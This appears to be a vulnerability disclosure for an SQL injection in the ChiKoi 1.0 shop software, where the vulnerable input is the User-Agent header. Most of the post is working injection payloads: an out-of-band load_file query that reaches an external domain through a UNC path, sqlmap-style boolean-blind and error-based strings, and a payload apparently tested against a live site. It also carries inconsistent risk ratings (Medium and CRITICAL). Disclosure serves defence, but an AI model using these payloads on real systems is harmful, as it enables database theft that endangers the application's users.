ChiKoi 1.0 SQL Injection

2023.01.15
Credit: nu11secur1ty
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

## Title: ChiKoi-1.0 SQLi ## Author: nu11secur1ty ## Date: 01.12.2023 ## Vendor: https://chikoiquan.tanhongit.com/ ## Software: https://github.com/tanhongit/new-mvc-shop/releases/tag/v1.0 ## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/tanhongit/2023/ChiKoi ## Description: The `User-Agent` HTTP header appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\v3z9cjkbngnzrm7piruwhl6olfr8fzknbqzlmba0.glumar.com\\quv'))+' was submitted in the User-Agent HTTP header. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The attacker can steal all information from this system and can seriously harm the users of this system, such as extracting bank accounts through which they pay each other, etc. ## STATUS: HIGH Vulnerability - CRITICAL [+] Payload: ```MySQL --- Parameter: User-Agent (User-Agent) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)' WHERE 2474=2474 AND 9291=(SELECT (CASE WHEN (9291=9291) THEN 9291 ELSE (SELECT 4553 UNION SELECT 6994) END))-- - Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)' WHERE 4578=4578 AND (SELECT 8224 FROM(SELECT COUNT(*),CONCAT(0x71706b7171,(SELECT (ELT(8224=8224,1))),0x716a6a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VCWR --- ``` [+] Online: ```MySQL --- Parameter: User-Agent (User-Agent) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy)' WHERE 8386=8386 AND 8264=(SELECT (CASE WHEN (8264=8264) THEN 8264 ELSE (SELECT 2322 UNION SELECT 6426) END))-- - --- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/tanhongit/2023/ChiKoi) ## Proof and Exploit: [href](https://streamable.com/7x69yz) ## Time spent `01:30:00` ## Writing an exploit `00:05:00`


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